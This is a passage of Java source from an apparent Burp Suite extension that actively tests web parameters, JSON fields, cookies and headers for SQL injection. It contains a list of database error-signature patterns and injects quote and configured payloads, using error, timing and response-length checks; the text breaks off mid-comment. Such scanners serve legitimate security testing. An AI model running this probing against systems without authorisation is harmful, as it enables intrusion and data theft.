    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.SqlBean;\nimport burp.ui.UIHepler.GridBagConstraintsHelper;\nimport burp.utils.*;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.table.DefaultTableCellRenderer;\nimport javax.swing.table.TableColumnModel;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.List;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.regex.Pattern;\n\nimport static burp.IParameter.*;\nimport static burp.dao.SqlDao.*;\n\n/**\n * @Author Xm17\n * @Date 2024-06-21 15:39\n */\npublic class SqlUI implements UIHandler, IMessageEditorController, IHttpListener {\n    private IHttpRequestResponse currentlyDisplayedItem; // 请求响应\n    private JPanel panel; // 主面板\n    private static JTable urltable; // url 表格\n    private static JTable payloadtable; // payload 表格\n    private JTabbedPane tabbedPanereq; // 左下的请求\n    private JTabbedPane tabbedPaneresp; // 左下的响应\n    private JScrollPane urltablescrollpane; // url 表格滚动\n    private JScrollPane payloadtablescrollpane; // payload 表格滚动\n    private JCheckBox passiveScanCheckBox; // 被动扫描选择框\n    private JCheckBox deleteOriginalValueCheckBox; // 删除原始值选择框\n    private JCheckBox checkCookieCheckBox; // 检测cookie选择框\n    private JCheckBox checkHeaderCheckBox; // 检测header选择框\n    private JCheckBox checkWhiteListCheckBox; // 白名单域名检测选择框\n    private JCheckBox urlEncodeCheckBox; // 是否对参数进行url编码\n    private JButton saveWhiteListButton; // 白名单域名保存按钮\n    private JButton saveHeaderListButton; // 保存header按钮\n    private JTextArea whiteListTextArea; // 白名单域名输入框列表\n    private JTextArea headerTextArea; // header检测数据框列表\n    private JButton refreshTableButton; // 刷新表格按钮\n    private JButton clearTableButton; // 清空表格按钮\n    private JTextArea sqlPayloadTextArea; // sqlpayload输入框\n    private JTextArea sqlErrorKeyTextArea; // sqlerrkey输入框\n    private JButton saveSqlPayloadButton; // sqlpayload保存按钮\n    private JButton saveSqlErrorKeyButton; // sqlerrkey保存按钮\n    private IMessageEditor HRequestTextEditor; // 请求\n    private IMessageEditor HResponseTextEditor; // 响应\n    private static final List<UrlEntry> urldata = new ArrayList<>();  // urldata\n    private static final List<PayloadEntry> payloaddata = new ArrayList<>(); // payload\n    private static final List<PayloadEntry> payloaddata2 = new ArrayList<>(); // payload\n    public AbstractTableModel model = new PayloadModel(); // payload 模型\n    private static boolean isPassiveScan; // 是否被动扫描\n    private static boolean isCheckCookie; // 是否检测cookie\n    private static boolean isCheckHeader; // 是否检测header\n    private static boolean isWhiteDomain; // 是否白名单域名\n    private static boolean isDeleteOrgin; // 是否删除原始值\n    private static boolean isUrlEncode; // 是否进行URL编码\n    private static final Set<String> urlHashList = new HashSet<>(); // 存放url的hash值\n    private static List<String> listErrorKey = new ArrayList<>(); // // 存放错误key\n    private static List<SqlBean> sqliPayload = new ArrayList<>(); // 存放sql关键字\n    private static List<String> domainList = new ArrayList<>(); // 存放域名白名单\n    private static List<SqlBean> headerList = new ArrayList<>(); // 存放header白名单\n    private static ConcurrentHashMap<Integer, StringBuilder> vul = new ConcurrentHashMap<>();// 防止插入重复\n    private JCheckBox booleanBlindCheckBox; // 布尔盲注选择框\n    private static boolean isBooleanBlind;  // 是否进行布尔盲注\n    private static final ConcurrentHashMap<Integer, List<PayloadEntry>> urlPayloadMapping = new ConcurrentHashMap<>();\n    private static final AtomicInteger urlIdCounter = new AtomicInteger(0);\n    \n    public static void resetAllCaches() {\n        urlHashList.clear();\n        urlPayloadMapping.clear();\n        urlIdCounter.set(0);\n        UrlCacheUtil.resetCache(\"sqli\");\n    }\n    \n    private static final String[] rules = {\n            \"the\\\\s+used\\\\s+select\\\\s+statements\\\\s+have\\\\s+different\\\\s+number\\\\s+of\\\\s+columns\",\n            \"An\\\\s+illegal\\\\s+character\\\\s+has\\\\s+been\\\\s+found\\\\s+in\\\\s+the\\\\s+statement\",\n            \"MySQL\\\\s+server\\\\s+version\\\\s+for\\\\s+the\\\\s+right\\\\s+syntax\\\\s+to\\\\s+use\",\n            \"supplied\\\\s+argument\\\\s+is\\\\s+not\\\\s+a\\\\s+valid\\\\s+PostgreSQL\\\\s+result\",\n            \"Unclosed\\\\s+quotation\\\\s+mark\\\\s+before\\\\s+the\\\\s+character\\\\s+string\",\n            \"Unclosed\\\\s+quotation\\\\s+mark\\\\s+after\\\\s+the\\\\s+character\\\\s+string\",\n            \"Column\\\\s+count\\\\s+doesn't\\\\s+match\\\\s+value\\\\s+count\\\\s+at\\\\s+row\",\n            \"Syntax\\\\s+error\\\\s+in\\\\s+string\\\\s+in\\\\s+query\\\\s+expression\",\n            \"Microsoft\\\\s+OLE\\\\s+DB\\\\s+Provider\\\\s+for\\\\s+ODBC\\\\s+Drivers\",\n            \"Microsoft\\\\s+OLE\\\\s+DB\\\\s+Provider\\\\s+for\\\\s+SQL\\\\s+Server\",\n            \"\\\\[Microsoft\\\\]\\\\[ODBC\\\\s+Microsoft\\\\s+Access\\\\s+Driver\\\\]\",\n            \"You\\\\s+have\\\\s+an\\\\s+error\\\\s+in\\\\s+your\\\\s+SQL\\\\s+syntax\",\n            \"supplied\\\\s+argument\\\\s+is\\\\s+not\\\\s+a\\\\s+valid\\\\s+MySQL\",\n            \"Data\\\\s+type\\\\s+mismatch\\\\s+in\\\\s+criteria\\\\s+expression\",\n            \"internal\\\\s+error\\\\s+\\\\[IBM\\\\]\\\\[CLI\\\\s+Driver\\\\]\\\\[DB2\",\n            \"Unexpected\\\\s+end\\\\s+of\\\\s+command\\\\s+in\\\\s+statement\",\n            \"\\\\[Microsoft\\\\]\\\\[ODBC\\\\s+SQL\\\\s+Server\\\\s+Driver\\\\]\",\n            \"\\\\[Macromedia\\\\]\\\\[SQLServer\\\\s+JDBC\\\\s+Driver\\\\]\",\n            \"has\\\\s+occurred\\\\s+in\\\\s+the\\\\s+vicinity\\\\s+of:\",\n            \"A\\\\s+Parser\\\\s+Error\\\\s+\\\\(syntax\\\\s+error\\\\)\",\n            \"Procedure\\\\s+'[^']+'\\\\s+requires\\\\s+parameter\",\n            \"Microsoft\\\\s+SQL\\\\s+Native\\\\s+Client\\\\s+error\",\n            \"Syntax\\\\s+error\\\\s+in\\\\s+query\\\\s+expression\",\n            \"System\\\\.Data\\\\.SqlClient\\\\.SqlException\",\n            \"Dynamic\\\\s+Page\\\\s+Generation\\\\s+Error:\",\n            \"System\\\\.Exception: SQL Execution Error\",\n            \"Microsoft\\\\s+JET\\\\s+Database\\\\s+Engine\",\n            \"System\\\\.Data\\\\.OleDb\\\\.OleDbException\",\n            \"Sintaxis\\\\s+incorrecta\\\\s+cerca\\\\s+de\",\n            \"Table\\\\s+'[^']+'\\\\s+doesn't\\\\s+exist\",\n            \"java\\\\.sql\\\\.SQLSyntaxErrorException\",\n            \"Column\\\\s+count\\\\s+doesn't\\\\s+match\",\n            \"your\\\\s+MySQL\\\\s+server\\\\s+version\",\n            \"\\\\[SQLServer\\\\s+JDBC\\\\s+Driver\\\\]\",\n            \"ADODB\\\\.Field\\\\s+\\\\(0x800A0BCD\\\\)\",\n            \"com.microsoft\\\\.sqlserver\\\\.jdbc\",\n            \"ODBC\\\\s+SQL\\\\s+Server\\\\s+Driver\",\n            \"(PLS|ORA)-[0-9][0-9][0-9][0-9]\",\n            \"PostgreSQL\\\\s+query\\\\s+failed:\",\n            \"on\\\\s+MySQL\\\\s+result\\\\s+index\",\n            \"valid\\\\s+PostgreSQL\\\\s+result\",\n            \"macromedia\\\\.jdbc\\\\.sqlserver\",\n            \"Access\\\\s+Database\\\\s+Engine\",\n            \"SQLServer\\\\s+JDBC\\\\s+Driver\",\n            \"Incorrect\\\\s+syntax\\\\s+near\",\n            \"java\\\\.sql\\\\.SQLException\",\n            \"java\\\\.sql\\\\.SQLException\",\n            \"MySQLSyntaxErrorException\",\n            \"<b>Warning</b>:\\\\s+ibase_\",\n            \"valid\\\\s+MySQL\\\\s+result\",\n            \"org\\\\.postgresql\\\\.jdbc\",\n            \"com\\\\.jnetdirect\\\\.jsql\",\n            \"Dynamic\\\\s+SQL\\\\s+Error\",\n            \"\\\\[DM_QUERY_E_SYNTAX\\\\]\",\n            \"mysql_fetch_array\\\\(\\\\)\",\n            \"pg_query\\\\(\\\\)\\\\s+\\\\[:\",\n            \"pg_exec\\\\(\\\\)\\\\s+\\\\[:\",\n            \"com\\\\.informix\\\\.jdbc\",\n            \"DB2\\\\s+SQL\\\\s+error:\",\n            \"DB2\\\\s+SQL\\\\s+error\",\n            \"Microsoft\\\\s+Access\",\n            \"\\\\[CLI\\\\s+Driver\\\\]\",\n            \"\\\\[SQL\\\\s+Server\\\\]\",\n            \"com\\\\.mysql\\\\.jdbc\",\n            \"Sybase\\\\s+message:\",\n            \"\\\\[MySQL\\\\]\\\\[ODBC\",\n            \"ADODB\\\\.Recordset\",\n            \"Unknown\\\\s+column\",\n            \"mssql_query\\\\(\\\\)\",\n            \"Sybase\\\\s+message\",\n            \"Database\\\\s+error\",\n            \"PG::SyntaxError:\",\n            \"where\\\\s+clause\",\n            \"Syntax\\\\s+error\",\n            \"Oracle\\\\s+error\",\n            \"SQLite\\\\s+error\",\n            \"SybSQLException\",\n            \"\\\\[SqlException\",\n            \"odbc_exec\\\\(\\\\)\",\n            \"MySqlException\",\n            \"INSERT\\\\s+INTO\",\n            \"SQL\\\\s+syntax\",\n            \"Error\\\\s+SQL:\",\n            \"SQL\\\\s+error\",\n            \"PSQLException\",\n            \"SQLSTATE=\\\\d+\",\n            \"SELECT .{1,30}FROM \",\n            \"UPDATE .{1,30}SET \",\n            \"附近有语法错误\",\n            \"MySqlClient\",\n            \"ORA-\\\\d{5}\",\n            \"引号不完整\",\n            \"数据库出错\",\n            \"Parameter '\\\\w+' not found\",\n            \"org\\\\.apache\\\\.ibatis\\\\.binding\\\\.BindingException\",\n            \"mybatis\\\\.binding\\\\.BindingException\",\n            \"org\\\\.mybatis\\\\.spring\\\\.MyBatisSystemException\",\n            \"java\\\\.lang\\\\.IllegalArgumentException: invalid parameter\",\n            \"Could not resolve parameter\",\n            \"There is no getter for property named\",\n            \"Error evaluating expression\",\n            \"Error parsing parameter\",\n            \"Invalid bound statement\"\n    };\n\n    // sql检测核心方法\n    public static void Check(IHttpRequestResponse[] requestResponses, boolean isSend) {\n        // 常规初始化流程代码\n        IHttpRequestResponse baseRequestResponse = requestResponses[0]; // 获取第一个请求\n        IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); // 获取请求\n        List<String> reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); // 获取请求头\n        String host = baseRequestResponse.getHttpService().getHost(); // 获取域名\n        String method = analyzeRequest.getMethod(); // 获取请求方法\n        URL rdurlURL = analyzeRequest.getUrl(); // 获取请求url\n        String url = analyzeRequest.getUrl().toString(); // 获取请求url\n        List<IParameter> paraLists = analyzeRequest.getParameters(); // 获取参数列表\n\n        // 如果method不是get或者post方式直接返回\n        if (!method.equals(\"GET\") && !method.equals(\"POST\")) {\n            return;\n        }\n        // url 中匹配为静态资源\n        if (Utils.isUrlBlackListSuffix(url)) {\n            return;\n        }\n\n        // 判断参数类型，不符合的直接跳过检测\n        boolean ruleHit = true; // 默认设置为true，表示命中规则\n        for (IParameter para : paraLists) {\n            if ((para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON)\n                    || isCheckCookie || isCheckHeader) {\n                ruleHit = false; // 如果有 URL、BODY、JSON 参数或者开启了 cookie 或 header 检测，则不命中规则\n                break;\n            }\n        }\n        if (ruleHit) {\n            return; // 如果命中规则，则直接返回\n        }\n\n\n        // 如果不是手动发送的请求，检测url是否重复及域名是否匹配\n        if (!isSend) {\n            if (!UrlCacheUtil.checkUrlUnique(\"sqli\", method, rdurlURL, paraLists)) {\n                return;\n            }\n            if (isWhiteDomain) {\n                // 如果未匹配到 直接返回\n                if (!Utils.isMatchDomainName(host, domainList)) {\n                    return;\n                }\n            }\n        }\n\n\n        // 将原始流量数据包发送一次,用来做后面的对比\n        byte[] request = baseRequestResponse.getRequest();\n        int bodyOffset = analyzeRequest.getBodyOffset();\n        byte[] body = Arrays.copyOfRange(request, bodyOffset, request.length);\n        byte[] postMessage = Utils.helpers.buildHttpMessage(reqheaders, body);\n        IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage);\n        byte[] responseBody = originalRequestResponse.getResponse();\n        IResponseInfo originalReqResponse = null;\n        // 如果有返回,尝试拿到Content-Length\n        int originalLength = 0;\n        if (responseBody != null) {\n            originalReqResponse = Utils.helpers.analyzeResponse(responseBody);\n            List<String> sqlHeaders = originalReqResponse.getHeaders();\n            String contentLength = HelperPlus.getHeaderValueOf(sqlHeaders, \"Content-Length\");\n            if (contentLength != null) {\n                originalLength = Integer.parseInt(contentLength);\n            } else {\n                originalLength = Integer.parseInt(String.valueOf(responseBody.length));\n            }\n        }\n        // 如果原始包没有返回数据或者响应状态为404 直接return\n        if (originalLength == 0 || originalReqResponse.getStatusCode() == 404) {\n            return;\n        }\n\n        // 尝试添加一个url到url表格\n        int logid = addUrl(method, url, originalLength, baseRequestResponse);\n        \n        try {\n            // 检测常规注入\n            for (IParameter para : paraLists) {\n            // 如果参数符合下面的类型，则进行检测\n            if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_COOKIE || para.getType() == PARAM_JSON) {\n                String paraName = para.getName();\n                String paraValue = para.getValue();\n                // 检测常规参数的注入\n                if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) {\n                    if (paraName.isEmpty()) {\n                        break;\n                    }\n                    // 先判断是否为数字型参数\n                    if (isIntegerParameter(paraValue)) {\n                        checkNumberBasedBlind(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse);\n                        checkQuoteBasedBlind(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse);\n                    } else {\n                        checkQuoteBasedBlind(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse);\n                    }\n\n                    // 正常的检测流程\n                    // 使用payload进行检测\n                    for (SqlBean sql : sqliPayload) {\n                        String payload = Utils.ReplaceChar(sql.getValue());\n                        // 如果sqlPayload是上面的 可以直接跳过\n                        if (payload.equals(\"'\") || payload.equals(\"''\") || payload.equals(\"'''\") || payload.isEmpty()) {\n                            continue;\n                        }\n                        checkPayload(logid, para, paraName, paraValue, url, originalLength, baseRequestResponse, payload);\n                    }\n\n                }\n                // 检测json类型的注入\n                if (para.getType() == PARAM_JSON) {\n                    // 获取JSON请求体\n                    String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split(\"\\r\\n\\r\\n\")[1];\n                    if (request_data.isEmpty()) {\n                        break;\n                    }\n\n                    // 获取原始响应数据\n                    byte[] jsonBody = Utils.helpers.buildHttpMessage(reqheaders, request_data.getBytes());\n                    IHttpRequestResponse jsonRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), jsonBody);\n                    String originalResponse = getResponseBody(jsonRequestResponse);\n                    int jsonResponseLength = originalResponse.length();\n\n                    // 对每个JSON参数进行测试\n                    List<JsonProcessorUtil.ProcessResult> processResults = JsonProcessorUtil.processWithPath(request_data, \"\", isDeleteOrgin);\n                    for (JsonProcessorUtil.ProcessResult pathResult : processResults) {\n                        String jsonParam = pathResult.getParamPath();  // JSON参数路径\n\n                        // 测试单引号响应\n                        long singleQuoteStartTime = System.currentTimeMillis();\n                        List<JsonProcessorUtil.ProcessResult> singleQuoteResults = JsonProcessorUtil.processWithPath(request_data, \"'\", isDeleteOrgin);\n                        JsonProcessorUtil.ProcessResult singleQuoteResult = findResultByPath(singleQuoteResults, jsonParam);\n                        byte[] singleQuoteBytes = Utils.helpers.buildHttpMessage(reqheaders, singleQuoteResult.getModifiedJson().getBytes());\n                        IHttpRequestResponse singleQuoteResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), singleQuoteBytes);\n                        long singleQuoteResponseTime = System.currentTimeMillis() - singleQuoteStartTime;\n                        String singleQuoteBody = getResponseBody(singleQuoteResponse);\n\n                        // 测试双引号响应\n                        long doubleQuoteStartTime = System.currentTimeMillis();\n                        List<JsonProcessorUtil.ProcessResult> doubleQuoteResults = JsonProcessorUtil.processWithPath(request_data, \"''\", isDeleteOrgin);\n                        JsonProcessorUtil.ProcessResult doubleQuoteResult = findResultByPath(doubleQuoteResults, jsonParam);\n                        byte[] doubleQuoteBytes = Utils.helpers.buildHttpMessage(reqheaders, doubleQuoteResult.getModifiedJson().getBytes());\n                        IHttpRequestResponse doubleQuoteResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), doubleQuoteBytes);\n                        long doubleQuoteResponseTime = System.currentTimeMillis() - doubleQuoteStartTime;\n                        String doubleQuoteBody = getResponseBody(doubleQuoteResponse);\n\n                        // 检查是否存在盲注\n                        boolean isVulnerable = checkBlindInjection(\n                                originalResponse,\n                                singleQuoteBody,\n                                doubleQuoteBody,\n                                jsonResponseLength,\n                                singleQuoteBody.length(),\n                                doubleQuoteBody.length()\n                        );\n\n                        // 如果存在盲注，添加到漏洞字符串\n                        if (isVulnerable) {\n                            addToVulStr(logid, jsonParam + \" 可能存在盲注\");\n                            try {\n                                IScanIssue issues = new CustomScanIssue(\n                                        jsonRequestResponse.getHttpService(),\n                                        new URL(url),\n                                        new IHttpRequestResponse[]{jsonRequestResponse, singleQuoteResponse, doubleQuoteResponse},\n                                        \"SqlInject Blind\",\n                                        String.format(\"在JSON参数 %s 中发现SQL盲注\\n原始长度: %d\\n单引号长度: %d\\n双引号长度: %d\",\n                                                jsonParam, jsonResponseLength, singleQuoteBody.length(), doubleQuoteBody.length()),\n                                        \"High\",\n                                        \"Certain\"\n                                );\n                                Utils.callbacks.addScanIssue(issues);\n                            } catch (MalformedURLException e) {\n                                throw new RuntimeException(\"CheckJsonBlind\" + e);\n                            }\n                        }\n\n                        // 为单引号payload添加记录\n                        String singleQuoteErrKey = \"x\";\n                        // 检查报错\n                        if (errSqlCheck(singleQuoteBody)) {\n                            singleQuoteErrKey = \"存在报错\";\n                            addToVulStr(logid, jsonParam + \" 存在报错\");\n                            try {\n                                IScanIssue issues = new CustomScanIssue(\n                                        singleQuoteResponse.getHttpService(),\n                                        new URL(url),\n                                        new IHttpRequestResponse[]{singleQuoteResponse},\n                                        \"SqlInject Error\",\n                                        \"在JSON参数 \" + jsonParam + \" 发现SQL报错注入\",\n                                        \"High\",\n                                        \"Certain\"\n                                );\n                                Utils.callbacks.addScanIssue(issues);\n                            } catch (MalformedURLException e) {\n                                throw new RuntimeException(\"CheckJsonError\" + e);\n                            }\n                        }\n\n                        // 为双单引号payload添加记录\n                        String doubleQuoteErrKey = \"x\";\n                        // 检查报错\n                        if (errSqlCheck(doubleQuoteBody)) {\n                            doubleQuoteErrKey = \"存在报错\";\n                            addToVulStr(logid, jsonParam + \" 存在报错\");\n                            try {\n                                IScanIssue issues = new CustomScanIssue(\n                                        doubleQuoteResponse.getHttpService(),\n                                        new URL(url),\n                                        new IHttpRequestResponse[]{doubleQuoteResponse},\n                                        \"SqlInject Error\",\n                                        \"在JSON参数 \" + jsonParam + \" 发现SQL报错注入\",\n                                        \"High\",\n                                        \"Certain\"\n                                );\n                                Utils.callbacks.addScanIssue(issues);\n                            } catch (MalformedURLException e) {\n                                throw new RuntimeException(\"CheckJsonError\" + e);\n                            }\n                        }\n\n                        // 记录单引号payload结果\n                        addPayload(\n                                logid,\n                                jsonParam,\n                                \"'\",\n                                singleQuoteBody.length(),\n                                String.valueOf(Math.abs(singleQuoteBody.length() - jsonResponseLength)),\n                                singleQuoteErrKey,\n                                String.valueOf(singleQuoteResponseTime),\n                                String.valueOf(Utils.helpers.analyzeResponse(singleQuoteResponse.getResponse()).getStatusCode()),\n                                singleQuoteResponse\n                        );\n\n                        // 记录双引号payload结果\n                        addPayload(\n                                logid,\n                                jsonParam,\n                                \"''\",\n                                doubleQuoteBody.length(),\n                                String.valueOf(Math.abs(doubleQuoteBody.length() - jsonResponseLength)),\n                                doubleQuoteErrKey,\n                                String.valueOf(doubleQuoteResponseTime),\n                                String.valueOf(Utils.helpers.analyzeResponse(doubleQuoteResponse.getResponse()).getStatusCode()),\n                                doubleQuoteResponse\n                        );\n\n                        for (SqlBean sql : sqliPayload) {\n                            String payload = Utils.ReplaceChar(sql.getValue());\n                            // 跳过已测试过的引号payload\n                            if (payload.equals(\"'\") || payload.equals(\"''\") || payload.equals(\"'''\") || payload.isEmpty()) {\n                                continue;\n                            }\n\n                            // 测试当前payload\n                            long startTime = System.currentTimeMillis();\n                            List<JsonProcessorUtil.ProcessResult> payloadResults = JsonProcessorUtil.processWithPath(request_data, payload, isDeleteOrgin);\n                            JsonProcessorUtil.ProcessResult payloadResult = findResultByPath(payloadResults, jsonParam);\n                            if (payloadResult == null) continue;\n\n                            byte[] payloadBytes = Utils.helpers.buildHttpMessage(reqheaders, payloadResult.getModifiedJson().getBytes());\n                            IHttpRequestResponse payloadResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), payloadBytes);\n                            long responseTime = System.currentTimeMillis() - startTime;\n                            String payloadBody = getResponseBody(payloadResponse);\n\n                            String errkey = \"x\";\n\n                            // 检查报错注入\n                            if (errSqlCheck(payloadBody)) {\n                                errkey = \"存在报错\";\n                                addToVulStr(logid, jsonParam + \" 存在报错\");\n                                try {\n                                    IScanIssue issues = new CustomScanIssue(payloadResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{payloadResponse}, \"SqlInject Error\", \"在JSON参数 \" + jsonParam + \" 发现SQL报错注入\", \"High\", \"Certain\");\n                                    Utils.callbacks.addScanIssue(issues);\n                                } catch (MalformedURLException e) {\n                                    throw new RuntimeException(\"CheckJsonError\" + e);\n                                }\n                            }\n\n                            // 检查延时注入\n                            if (responseTime > 6000) {\n                                errkey = \"存在延时\";\n                                addToVulStr(logid, jsonParam + \" 存在延时注入\");\n                                try {\n                                    IScanIssue issues = new CustomScanIssue(payloadResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{payloadResponse}, \"SqlInject Time\", \"在JSON参数 \" + jsonParam + \" 发现延时注入\", \"High\", \"Certain\");\n                                    Utils.callbacks.addScanIssue(issues);\n                                } catch (MalformedURLException e) {\n                                    throw new RuntimeException(\"CheckJsonTime\" + e);\n                                }\n                            }\n\n                            // 记录payload测试结果\n                            addPayload(\n                                    logid,\n                                    jsonParam,\n                                    payload,\n                                    payloadBody.length(),\n                                    String.valueOf(Math.abs(payloadBody.length() - jsonResponseLength)),\n                                    errkey,\n                                    String.valueOf(responseTime),\n                                    String.valueOf(Utils.helpers.analyzeResponse(payloadResponse.getResponse()).getStatusCode()),\n                                    payloadResponse\n                            );\n                        }\n                    }\n                    break;\n                }\n                // 检测cookie注入\n                if (isCheckCookie && para.getType() == PARAM_COOKIE) {\n                    if (paraName.isEmpty()) {\n                        break;\n                    }\n                    for (SqlBean sql : sqliPayload) {\n                        String errkey = \"x\";\n                        String payload = \"\";\n                        String sqlPayload = Utils.ReplaceChar(sql.getValue());\n                        if (sqlPayload.isEmpty()) {\n                            continue;\n                        }\n                        // 是否删除原始的参数值\n                        if (isDeleteOrgin) {\n                            payload = sqlPayload;\n                        } else {\n                            payload = paraValue + sqlPayload;\n                        }\n                        long startTime = System.currentTimeMillis();\n                        IParameter iParameters = Utils.helpers.buildParameter(paraName, payload, para.getType());\n                        byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameters);\n                        IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes);\n                        long endTime = System.currentTimeMillis();\n                        IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse());\n                        int statusCode = analyzeResponse.getStatusCode();\n                        String responseTime = String.valueOf(endTime - startTime);\n                        byte[] sqlresponseBody = newRequestResponse.getResponse();\n                        int sqlLength = 0;\n                        if (sqlresponseBody != null) {\n                            // 判断有无Content-Length字段\n                            List<String> sqlHeaders = analyzeResponse.getHeaders();\n                            String contentLength = HelperPlus.getHeaderValueOf(sqlHeaders, \"Content-Length\");\n                            if (contentLength != null) {\n                                sqlLength = Integer.parseInt(contentLength);\n                            } else {\n                                sqlLength = sqlresponseBody.length;\n                            }\n                            // 判断body中是否有errorkey关键字\n                            String sqlResponseBody = new String(sqlresponseBody);\n                            if (errSqlCheck(sqlResponseBody)) {\n                                errkey = \"存在报错\";\n                                addToVulStr(logid, \"参数\" + paraName + \"cookie存在报错\");\n                                try {\n                                    IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, \"SqlInject Error\", \"SqlInject 发现报错\", \"High\", \"Certain\");\n                                    Utils.callbacks.addScanIssue(issues);\n                                } catch (MalformedURLException e) {\n                                    throw new RuntimeException(\"CheckCookie\" + e);\n                                }\n                            }\n                            if (Integer.parseInt(responseTime) > 6000) {\n                                addToVulStr(logid, \"参数\" + paraName + \"cookie存在延时\");\n                                errkey = \"cookie存在延时\";\n                                try {\n                                    IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, \"SqlInject Time\", \"SqlInject 发现延时注入\", \"High\", \"Certain\");\n                                    Utils.callbacks.addScanIssue(issues);\n                                } catch (MalformedURLException e) {\n                                    throw new RuntimeException(\"CheckCookie\" + e);\n                                }\n                            }\n                        }\n                        addPayload(logid, paraName, payload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse);\n                    }\n                }\n            }\n        }\n        // 检测header注入\n        if (isCheckHeader && !headerList.isEmpty()) {\n            // 新建一个用于存储新请求头的列表，并复制原始请求头到新列表中\n            List<String> newReqheaders = new ArrayList<>(reqheaders);\n            for (String reqheadersx : reqheaders) {\n                for (SqlBean sqlBean : headerList) {\n                    String headerName = sqlBean.getValue();\n                    if (reqheadersx.contains(headerName)) {\n                        // 删除原始请求头中包含的相同头部字段\n                        newReqheaders.remove(reqheadersx);\n                        // 不检测cookie\n                        if (headerName.contains(\"Cookie\")) {\n                            break;\n                        }\n                        // 分割 reqheadersx 获取 header 值\n                        String[] headerParts = reqheadersx.split(\":\", 2);\n                        String originalHeaderValue = headerParts.length > 1 ? headerParts[1].trim() : \"\";\n\n                        for (SqlBean sql : sqliPayload) {\n                            String errkey = \"x\";\n                            String payload = \"\";\n                            String sqlPayload = Utils.ReplaceChar(sql.getValue());\n                            if (sqlPayload.isEmpty()) {\n                                continue;\n                            }\n                            if (isDeleteOrgin) {\n                                payload = sqlPayload;\n                            } else {\n                                payload = originalHeaderValue + sqlPayload;\n                            }\n                            // 添加新的头部字段到新的列表中\n                            newReqheaders.add(headerName + \": \" + payload);\n                            byte[] bytes = Utils.helpers.buildHttpMessage(newReqheaders, body);\n                            long startTime = System.currentTimeMillis();\n                            IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes);\n                            IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse());\n                            long endTime = System.currentTimeMillis();\n                            String responseTime = String.valueOf(endTime - startTime);\n                            int statusCode = analyzeResponse.getStatusCode();\n                            byte[] sqlresponseBody = newRequestResponse.getResponse();\n                            int sqlLength = 0;\n                            if (sqlresponseBody != null) {\n                                // 判断有无Content-Length字段\n                                List<String> sqlHeaders = analyzeResponse.getHeaders();\n                                String contentLength = HelperPlus.getHeaderValueOf(sqlHeaders, \"Content-Length\");\n                                if (contentLength != null) {\n                                    sqlLength = Integer.parseInt(contentLength);\n                                } else {\n                                    sqlLength = sqlresponseBody.length;\n                                }\n                                // 判断body中是否有errorkey关键字\n                                String sqlResponseBody = new String(sqlresponseBody);\n                                if (errSqlCheck(sqlResponseBody)) {\n                                    errkey = \"存在报错\";\n                                    addToVulStr(logid, \"header存在报错\");\n                                    try {\n                                        IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, \"SqlInject Error\", \"SqlInject 发现报错\", \"High\", \"Certain\");\n                                        Utils.callbacks.addScanIssue(issues);\n                                    } catch (MalformedURLException e) {\n                                        throw new RuntimeException(\"CheckHeader\" + e);\n                                    }\n                                }\n                                if (Integer.parseInt(responseTime) > 6000) {\n                                    addToVulStr(logid, \"header存在延时\");\n                                    try {\n                                        IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, \"SqlInject Time\", \"SqlInject 发现延时注入\", \"High\", \"Certain\");\n                                        Utils.callbacks.addScanIssue(issues);\n                                    } catch (MalformedURLException e) {\n                                        throw new RuntimeException(\"CheckHeader\" + e);\n                                    }\n                                }\n                            }\n                            addPayload(logid, headerName, sqlPayload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse);\n                            // 每次完成请求后，移除刚刚添加的新头部字段，以便下一次迭代\n                            newReqheaders.remove(newReqheaders.size() - 1);\n                        }\n                        break; // 已经处理了当前的头部信息，可以退出内循环\n                    }\n                }\n            }\n        }\n        } catch (Exception e) {\n            // 检测过程中出现异常，记录错误信息\n            addToVulStr(logid, \"检测异常: \" + e.getMessage());\n            Utils.stderr.println(\"SQL注入检测异常: \" + e.getMessage());\n            e.printStackTrace();\n        } finally {\n            // 无论是否出现异常，都要更新最终状态\n            // 